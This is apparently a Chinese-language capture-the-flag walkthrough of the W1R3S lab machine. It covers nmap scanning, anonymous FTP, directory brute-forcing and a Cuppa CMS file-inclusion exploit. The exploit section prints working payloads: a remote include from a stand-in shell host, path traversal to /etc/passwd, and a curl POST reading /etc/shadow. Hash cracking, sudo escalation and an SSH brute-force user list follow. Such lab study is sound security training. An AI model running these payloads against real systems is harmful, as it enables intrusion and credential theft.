1.主机发现(文章内容限用于学习和研究目的)
先看一下自己的kali的ip
命令ip a
2. 目标信息收集
nmap -sn 192.168.231.0/24
扫描C段存活主机: nmap -sn 192.168.231.0/24 , 确定W13RS的靶机IP为192.168.231.139
3. nmap 扫描
nmap -sT –min-rate 10000 -p- 192.168.231.139
TCP 扫描 (得出当前开放 21,22,80,3306 四个端口)
4. 探测版本
nmap -sT -sV -sC -O -p21,22,80,3306 192.168.231.139
21 端口是 FTP 的 vsftpd 驻留程序 1,存在 Anonymous 权限访问
22 端口是 OpenSSH 的7.2p2 版本 Ubuntu Linux 操作系统
80 端口是 Apache 的 httpd 驻留程序,版本是 2.4.18
3306 端口是 MySQL
5. UDP 扫描(结果都是 open|filtered 状态,没什么发现。)
nmap -sU –top-ports 20 192.168.231.139
6. 默认脚本扫描
nmap –script=vuln -p21,22,80,3306 192.168.231.139
使用nmap自带的web漏扫脚本进行扫描
未找到 XSS、CSRF 可以利用的点。但是找到了一个 /wordpress/wp-login.php 。
探测出当前 Apache 可能存在 CVE-2007-6750(Apache HTTP Server 1.x 和 2.x 允许远程攻击者通过部分 HTTP 请求造成拒绝服务(守护进程中断)) 攻击
7. 编排攻击方向
根据以上内容收集的信息,初步选定操作顺序如下:
排查下:ftp 21、mysql 3306 这里的 ftp 有没有可能存在信息泄露,mysql 有没弱密码
接着重点查看:web 80、ssh 22 这里的 80 端口是必须看的,很多攻击点就是 Web,ssh一般没有价值,放到最后
8. FTP 渗透
在 nmap 扫描阶段就提示了 FTP 有 anonymous 登录,登录进去看看
(使用匿名用户anonymous登录目标主机的FTP服务器, 匿名用户的密码默认为空)
这里提示 Using binary mode to transfer files. 用二进制模式传输文件,在这里通过 binary 来切换到二进制模式
查看文件 ls,在 content 文件夹内找到了三个文件,都把它们下载下来
先执行一个 prompt 把交互模式给关掉(这样下载文件就不会每次都找我确定了)。接着使用 mget 命令下载多个文件
docs 文件夹里面也有一个文件,使用 get 下载下来
new-employees 文件夹里面的同理。接着使用 quit 退出 ftp,然后 cat 查看文件内容
从ftp服务器下载的文件有: 01.txt、02.txt、03.txt、employee-names.txt、worktodo.txt
通过 hash-identifier 工具和人工猜测:
(MD5)01ec2d8fc11c493b25029fb1f47f39ce
(Base64)SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==
md5 john 看看:
时间太慢了,借助互联网的力量看看,Hashes Decrypt hash 返回结果为:
This is not a password, 意思是”这不是一个密码”, 属于无效信息
验证一下看看是否正确:
接着看看这个base64 的字符串:SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==
(base64 的特征:base64 除了数字和大小写字母,剩下的特殊符号只有 3 个)
base64的辨别方法:
1)看特殊字符,或者说是正则规则匹配(+ / = 0-9 a-z A-Z)
2)= 只在文末出现,最多2个,原因是补足
3)一些特殊情况,稍微复杂一点。主要是针对短字符串,首先 base64 的字符串一定能被 4 整数。 比如 root 可以被 4 整除,但它其实并不是 base64 编码,因为解码之后的 ascii 码不在 32-126 之间,会有乱码。所以这里的主要判断方法还是解码看有没有乱码。 这里还有一个特例,就是长度为 1 的非 base64 的字符串解码是空。
说明结束,开始处理base64 的字符串
接着看看泄露出来的用户表:员工名单
在看看这个上下翻转、前后倒序的字符串,kali 中有个 rev 命令可以解决前后倒序的反转,但是上下的没办法解决,借助互联网的工具吧,使用 Google 搜索相关工具
找到了一个工具,解决了这个问题原文如下:
ı don’t thınk thıs ıs the way to root!
we have a ןot of work to do‘ stop pןayıng around˙˙˙˙
大概意思就是说别瞎玩了,我们还有很多事要做
FTP 就到此为止了
3306 mysql 渗透
尝试连接 3306,因为是 Ubuntu,猜测用户名是 root,会有空密码的情况吗?
这里的提示信息是本机无法连接到 MySQL server也没有什么信息,3306 暂时放弃了。
Web 渗透
首页是 Apache2 的默认界面
进入/wordpress/wp-login.php 发现了要账号登陆
网页源代码也没什么发现,试试目录爆破吧
gobuster dir -u http://192.168.231.139 –wordlist=/usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt
根据以上内容,目前暴露出来的有 wordpress,还有个 CMS:
# wordpress
http:// 192.168.231.139/wordpress/
# cms
http://192.168.231.139/administrator/
administrator很明显这是一套 CMS 的安装界面引导,尝试一下这里有没有突破口
这里暴露了这是一个 Cuppa CMS 默认账号密码都是:admin,随便填写一些信息看看可否下一步
在用户创建时失败了,搜索一下 Cuppa CMS 有什么暴露出来的漏洞可以利用的
搜索结果出来了一个,File Inclusion 文件包含,查看一下具体位置信息
从文件中可以找到:
源代码位置在:Download cuppa_cms.zip (Cuppa CMS)
出现文件包含的位置在 /alerts/alertConfigField.php 的第二十二行:
<?php include($_REQUEST[“urlConfig”]); ?>
EXPLOIT 利用方法:
http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
通过拼接 URL 找到了,尝试一下:
http://192.168.231.139/administrator/alerts/alertConfigField.php
拼接一下参数试试:
http://192.168.231.139/administrator/alerts/alertConfigField.php
?urlConfig=../../../../../../../../../etc/passwd
?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
结果和上面一样,但是没有回显
奇怪,按道理来说被修复了的话是不会出现这个窗口的,可是没有修复的情况下又没有回显,代码审计看看吧
# 下载 cuppa_cms.zip 源码包
wget http://jaist.dl.sourceforge.net/project/cuppacms/cuppa_cms.zip
使用 vim 检查 alerts/alertConfigField.php 文件
<div class=”alert_config_field” id=”alert”>
<div class=”alert_config_top”>
<strong><?php echo $language->fields_configuration ?></strong>: <?php echo @$cuppa->POST(“field”); ?>
<div class=”btnClose_alert” id=”btnClose_alert” onclick=”CloseDefaultAlert()”></div>
</div>
<div id=”content_alert_config” class=”content_alert_config”>
<?php include “../components/table_manager/fields/config/”.@$cuppa->POST(“urlConfig”); ?>
</div>
</div>
仔细看,这里的 urlConfig 变成通过 POST 的方式进行参数传递,且参数未校正,从而触发了这个文件包含漏洞
使用 POST 的方式发个请求试试,在这里我使用 curl 的 –data-urlencode 参数来处理 POST 请求:
这里的回显已 : 符号做为分隔符第二个参数都是 x 表明密码是以哈希的方式保存在 shadow 里面的,再次构造一次 POST:
curl –data-urlencode ‘urlConfig=../../../../../../../../../etc/shadow’ http://192.168.231.139/administrator/alerts/alertConfigField.php
然后将这些哈希拿下来进行破解:
john 已经破解出来了两个账号,root 破解时间太长了,试试直接登录 w1r3s 这个账号试试看
隐秘登录失败,正常登录有回显
看看当前账号的权限。
注意看这个账号 groups 组里面有 27(sudo) 的权限,接着看看这个账号有什么权限。
(ALL : ALL) ALL 这里也就是这个账号有全部权限,那就相当于是 root 了,简单提权一下,随后获取root根目录下的flag.txt文件
SSH 暴力破解
构造用户字典这里的用户字典需要结合 FTP 泄露信息来构造:
echo ”’w1r3s
admin
root
naomi
hector
”’ > user.list
密码破解成功
总结与思考
在本次渗透过程中,通过使用多种工具和技术,我们不仅了解了如何有效地渗透目标系统,还得以从另一个角度反思网络安全的本质及如何防范安全事故。这些思考不仅有助于加深对渗透过程的理解,也为未来的安全测试和防御措施提供了宝贵的经验。